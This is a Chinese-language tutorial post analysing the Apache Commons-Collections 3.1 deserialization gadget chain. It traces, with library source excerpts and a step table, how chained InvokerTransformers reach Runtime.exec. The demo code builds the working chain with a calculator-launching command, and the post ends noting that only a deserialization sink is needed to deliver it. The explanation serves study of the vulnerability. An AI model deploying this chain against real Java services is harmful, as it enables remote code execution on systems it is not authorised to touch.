Commons-Collections漏洞


Commons-collections漏洞

0x01 POP調用鏈

版本:Commons-Collections3.1

下為Commons-Collections反序列實例代碼:

import org.apache.commons.collections.Transformer; 

import org.apache.commons.collections.functors.InvokerTransformer; 

public class VulTest { 

public static void main(String[] args){ 

Transformer transformer=new InvokerTransformer( 

"append", 

new Class[]{String.class}, 

new Object[]{"exploitcat?"}); 

Object newObject=transformer.transform(new StringBuffer("your name is ")); 

System.out.println(newObject); 
} 
} 

輸入結果為:your name is exploitcat?

很明顯調用了append方法將兩個字符串進行拼接,讓我們來分析代碼,首先聲明了一個transformer的引用,查看Transformer這個類代碼為:

package org.apache.commons.collections; 

public interface Transformer { 

Object transform(Object var1); 

} 

剛開始沒看懂=-=,這是定義的一個名為Transformer的接口類,其中聲明了一個返回類型為Object的transform函數,接收參數為Object對象。

InvokerTransformer為Transformer的一個子類,此處新建了一個InvokerTransformer類的實例,以此傳入了append、new Class[]{String.class}、new Object[]{"exploitcat?"}三個參數。

接下來進入InvokerTransformer這個類,發現當接收參數為這三個參數時,構造函數實現的功能為預設這三個參數的值,即:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { 

this.iMethodName = methodName; 

this.iParamTypes = paramTypes; 

this.iArgs = args; 

} 


Object newObject即新建一個對象引用,而transformer.transform(new StringBuffer("your name is ")),Java中String也是一個類,所以new StringBuffer("your name is ")為一個類對象,transform這個方法為繼承父類Transformer的transform方法重寫為:

public Object transform(Object input) { 

if (input == null) { 

return null; 

} else { 

try { 

Class cls = input.getClass(); 

Method method = cls.getMethod(this.iMethodName, this.iParamTypes); 

return method.invoke(input, this.iArgs); 

} catch (NoSuchMethodException var5) { 

throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); 

} catch (IllegalAccessException var6) { 

throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 

} catch (InvocationTargetException var7) { 

throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); 

} 

} 

} 

} 

根據前面獲得的三個參數的值,在此處利用反射調用了String類的append方法,將兩個字符串進行拼接。

下為另一處Commons-Collections反序列化漏洞示例代碼

import org.apache.commons.collections.Transformer; 

import org.apache.commons.collections.functors.ChainedTransformer; 

import org.apache.commons.collections.functors.ConstantTransformer; 

import org.apache.commons.collections.functors.InvokerTransformer; 

import org.apache.commons.collections.map.TransformedMap; 

import java.util.HashMap; 

import java.util.Map; 

public class VulChain { 

public static void main(String[] args){ 

Transformer[] transformers=new Transformer[]{ 

new ConstantTransformer(Runtime.class), 

new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 

new Object[]{"getRuntime", new Class[0]}), 

new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, 

new Object[]{null, new Object[0]}), 

new InvokerTransformer("exec", new Class[]{String.class}, 

new Object[]{"open /Applications/Calculator.app"}) 

}; 

Transformer chain=new ChainedTransformer(transformers); 

Map innerMap=new HashMap(); 

innerMap.put("name","hello"); 

Map outerMap= TransformedMap.decorate(innerMap,null,chain); 

Map.Entry elEntry=(Map.Entry) outerMap.entrySet().iterator().next(); 

elEntry.setValue("hello"); 

} 

} 

在VulChain這個類中聲明首先聲明了一個Transformer類型對象數組transformers,放了ConstantTransformer與InvokerTransFormer兩種對象。

Transformer chain=new ChainedTransformer(transformers);則是傳入一個transformers參數新建了一個Transformer類型的引用,進入ChainedTransformer這個類查看構造函數

public ChainedTransformer(Transformer[] transformers) { 

super(); 

iTransformers = transformers; 

} 


其主要作用為將transformers賦給自己的屬性iTransformers.

下面的innerMap類型主要是為了后面的decorate方法傳參,不用過多在意。

而Map outerMap= TransformedMap.decorate(innerMap,null,chain);

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { 

return new TransformedMap(map, keyTransformer, valueTransformer); 

} 

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { 

super(map); 

this.keyTransformer = keyTransformer; 

this.valueTransformer = valueTransformer; 

} 

decorate方法返回了一個TransformedMap對象,在TransforedMap構造函數將valueTransformer=chain

elEntry.setValue("hello");中我們查看setValue函數聲明,在AbstractInputCheckedMapDecorator這個類中:

public Object setValue(Object value) { 

value = parent.checkSetValue(value); 

return entry.setValue(value); 

} 


而checkSetValue在TransformerMap中:

protected Object checkSetValue(Object value) { 

return valueTransformer.transform(value); 

} 


而ChainedTransformer中transform方法為:

public Object transform(Object object) { 

for (int i = 0; i < iTransformers.length; i++) { 

object = iTransformers[i].transform(object); 

} 

return object; 

} 


InvokerTransformer中transform方法為:

public Object transform(Object input) { 

if (input == null) { 

return null; 

} 

try { 

Class cls = input.getClass(); 

Method method = cls.getMethod(iMethodName, iParamTypes); 

return method.invoke(input, iArgs); 

} catch (NoSuchMethodException ex) { 

throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); 

} catch (IllegalAccessException ex) { 

throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 

} catch (InvocationTargetException ex) { 

throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); 

} 

} 

} 


在for循環中i、iTransformers[i]、object值分別為:

i iTransformers[i] Object
0 ConstantTransformer(Runtime.class) "hello"
1 InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}) Runtime.class
2 InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}) Runtime.class.getRuntime
3 InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"}) Runtime.class.getRuntime.invoke(null,null)

最終構成調用鏈:Runtime.class.getRuntime.invoke(null,null).exec('open /Applications/Calculator.app')

0x02反序列化利用

上面找到了POP利用鏈,現在我們只需要一個反序列化利用點,就可以構造好的Payload利用出去。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM